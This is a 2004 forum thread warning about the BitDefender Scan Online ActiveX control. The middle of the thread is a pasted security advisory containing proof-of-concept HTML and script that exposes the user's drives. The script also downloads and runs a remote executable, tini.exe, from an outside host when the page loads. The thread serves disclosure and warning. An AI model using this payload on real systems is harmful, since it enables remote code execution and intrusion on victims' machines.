Cpt James T. Kirk Posted October 30, 2004 Report Share Posted October 30, 2004 heres some interesting info on this link you might want to read before deciding to use bitdefender. your choicehttp://addict3d.org/index.php?page=viewart...ecurity&id=1101 Quote Link to comment Share on other sites More sharing options...
nellie2 Posted October 30, 2004 Report Share Posted October 30, 2004 That link doesn't take me anywhere... just to a main news page! :unsure: Quote Link to comment Share on other sites More sharing options...
trackrat Posted October 30, 2004 Report Share Posted October 30, 2004 Try this Nell.http://addict3d.org/index.php?page=downloadfile&ID=853 Quote Link to comment Share on other sites More sharing options...
-pops- Posted October 30, 2004 Report Share Posted October 30, 2004 Try this Nell.http://addict3d.org/index.php?page=downloadfile&ID=853Takes me to an article about stinger Quote Link to comment Share on other sites More sharing options...
Cpt James T. Kirk Posted October 30, 2004 Author Report Share Posted October 30, 2004 may just have to paste the darn thing then. i will get it. Quote Link to comment Share on other sites More sharing options...
Cpt James T. Kirk Posted October 30, 2004 Author Report Share Posted October 30, 2004 ok, i could not find the way to get this to do it by link so i pasted the article here: Site-News: (A) What you need to know. by A^C^E at 29.10.2004 16:22:26 30.10.2004 19:50:51 Search site: TechNews Security Downloads Miscellaneous Advanced Bookmark Submit News Navigation Bar - Mixed List -- Categories -- Tech News -- Downloads -- Security -- Archive -- Miscellaneous -- Top 10 -- Links -- About -- Main - Sponsoring Addict3d.org sponsorsEvilLyricsLyrics and karaoke search tool Statistics Last Update: 6 Hours11 Mins 57 Secs ago Visitors: 349524 Online: 83 Article TO YOUR ATTENTION!!!!By reading this you understand and agree that everything that is written in this article is for educational use only, and none of it should be used at any circumsetences, and if you choose to use this information for any kind of action you take full responsibility for it and release addict3d.org © of any responsibility.If you do not agree to whats written here, LEAVE NOW! -------------------------------------------------------------------------------- BitDefender Scan Online - Remote File Download & Execute & PrivateAdded by: A^C^E Date: 19.04.04 Time: 21:13:30 Category: Exploits Source: http://www.securityfocus.com Application: BitDefender Scan Online(ActiveX)Vendors: http://www.bitdefender.com/scan/Msie/index.phpPlatforms: WindowsBug: Remote File Download & Execute & Private InformationDisclosureRisk: High - Running Arbitary CodeExploitation: Remote with browserDate: 19 Apr 2004Author: Rafel Ivgi, The-Insidere-mail: the_insider mail comweb: http://theinsider.deep-ice.com~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~1) Introduction2) Bugs3) The Code~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~===============1) Introduction===============This is a quote of BitDefender Scan Online Description:"BitDefender Scan Online is a fully functional antivirus product, with aweb-based interface and featuring all required elements for remotelyantivirus scanning and cleaning: it scans system's memory, all files,folders and drives' boot sector, providing the user with the option toautomatically clean the infected files.This is a quote of the page title:"BitDefender AntiVirus - Data Security, AntiVirus Software, FreeProtection".The meaning of this sentence is very far from reality.I believe this to be a ridiculous that an AntiVirus will deliver and executea virus on my system.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~======2) Bug======"BitDefender Scan Online" downloads its components and registeredthe following COM/ActiveX Object:"AVXSCANONLINE.AvxScanOnlineCtrl.1"With the following CLSID:80DD2229-B8E4-4C77-B72F-F22972D723EA"BitDefender Scan Online" has confusing protection, all properties andfunctions cannot be set/accessed by the :object = new ActiveXObject("AVXSCANONLINE.AvxScanOnlineCtrl.1")It can only be set/accessed using(html object tag created object):"<OBJECT id=mymycodeBase=http://www.bitdefender.com/scan/Msie/bitdefender.cab#version=3,0,0,1hspace=0 vspace=0 align="top"classid=CLSID:80DD2229-B8E4-4C77-B72F-F22972D723EAwidth=405 height=180>"------------------------------------------------------------------------------------------------------------------------------"BitDefender Scan Online" Disclosures the users information, allowing aremote user to seeall drives and folders of the system using this simple code:------------------- CUT HERE -------------------<OBJECT id=seemycomputercodeBase=http://www.bitdefender.com/scan/Msie/bitdefender.cab#version=3,0,0,1hspace=0 vspace=0 align="top"classid=CLSID:80DD2229-B8E4-4C77-B72F-F22972D723EAwidth=405 height=180><PARAM NAME="_ExtentX" VALUE="6614"><PARAM NAME="_ExtentY" VALUE="4498"><PARAM NAME="_StockProps" VALUE="9"><PARAM NAME="ForeColor" VALUE="0"><PARAM NAME="BackColor" VALUE="16777215"></OBJECT>------------------- CUT HERE -------------------------------------------------------------------------------------------------------------------------------------------------"BitDefender Scan Online" contains a function that will***DOWNLOAD A REMOTE FILE AND WILL EXECUTE IT ON THE SYSTEM***For Example:object.RequestFile("http://ntsecurity.nu/downloads/tini.exe","c:\\");~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~===========3) The Code===========This is Proof Of Concept Code:------------------- CUT HERE -------------------<OBJECT id=mymycodeBase=http://www.bitdefender.com/scan/Msie/bitdefender.cab#version=3,0,0,1hspace=0 vspace=0 align="top"classid=CLSID:80DD2229-B8E4-4C77-B72F-F22972D723EAwidth=405 height=180><PARAM NAME="Id" VALUE="Trusted"><PARAM NAME="_ExtentX" VALUE="6614"><PARAM NAME="_ExtentY" VALUE="4498"><PARAM NAME="_StockProps" VALUE="9"><PARAM NAME="ForeColor" VALUE="0"><PARAM NAME="BackColor" VALUE="16777215"></object><script>var a;function cool() {mymy.Update();mymy.Updating(1);mymy.SetCountry("Israel");mymy.EnableRtvr(1);mymy.SetupMode = true;mymy.RequestFile("http://ntsecurity.nu/downloads/tini.exe","c:\\");}setTimeout("cool()", 1500);</script>------------------- CUT HERE -------------------~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--- Rafel Ivgi, The-Insiderhttp://theinsider.deep-ice.com"Only the one who sees the invisible , Can do the Impossible." Related articles Code-Crafters Ability FTPd v2.34 - New Exploit Attached connect to all open ports Post-Nuke Trojan Horse New URL spoofing bug in Microsoft Internet Explorer WvTftp option name heap overflow remote root exploit Quote Link to comment Share on other sites More sharing options...
Cpt James T. Kirk Posted November 3, 2004 Author Report Share Posted November 3, 2004 bump Quote Link to comment Share on other sites More sharing options...
nellie2 Posted November 3, 2004 Report Share Posted November 3, 2004 I don't know much about online scanners apart from the fact that they have to download an engine to your system and scan your files! :huh: That's how it is done.... if there was a problem with bit defender I would have heard about it. Quote Link to comment Share on other sites More sharing options...
Cpt James T. Kirk Posted November 4, 2004 Author Report Share Posted November 4, 2004 well this link was given to me by a administrator of another forum. i didnt make it up. i just couldnt get the link to post and take it there. it lost something someplace. as i typed it it was ok but when i added reply it erased part of it as you can see in first post. Quote Link to comment Share on other sites More sharing options...
nellie2 Posted November 4, 2004 Report Share Posted November 4, 2004 I don't type links, I copy them from my address bar and then paste them into the reply! Quote Link to comment Share on other sites More sharing options...
Cpt James T. Kirk Posted November 4, 2004 Author Report Share Posted November 4, 2004 try this: i did what you said got the link now after i add reply lets see if it stays like this or cuts part off. http://addict3d.org/index.php?page=viewart...ecurity&ID=1011 Quote Link to comment Share on other sites More sharing options...
-pops- Posted November 4, 2004 Report Share Posted November 4, 2004 Yes, that works :) Quote Link to comment Share on other sites More sharing options...
nellie2 Posted November 4, 2004 Report Share Posted November 4, 2004 Works for me too! :) Quote Link to comment Share on other sites More sharing options...
Cpt James T. Kirk Posted November 5, 2004 Author Report Share Posted November 5, 2004 at any rate there is the info for all to read, and think about before using it. Quote Link to comment Share on other sites More sharing options...
Cpt James T. Kirk Posted November 7, 2004 Author Report Share Posted November 7, 2004 i was informed on another forum, given a link, to information regarding bitd. they now say that a fix has been made, in the now available dl/d that takes care of the activex issue. dont know if its true since i am not taking the chance again till im sure of it from others. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.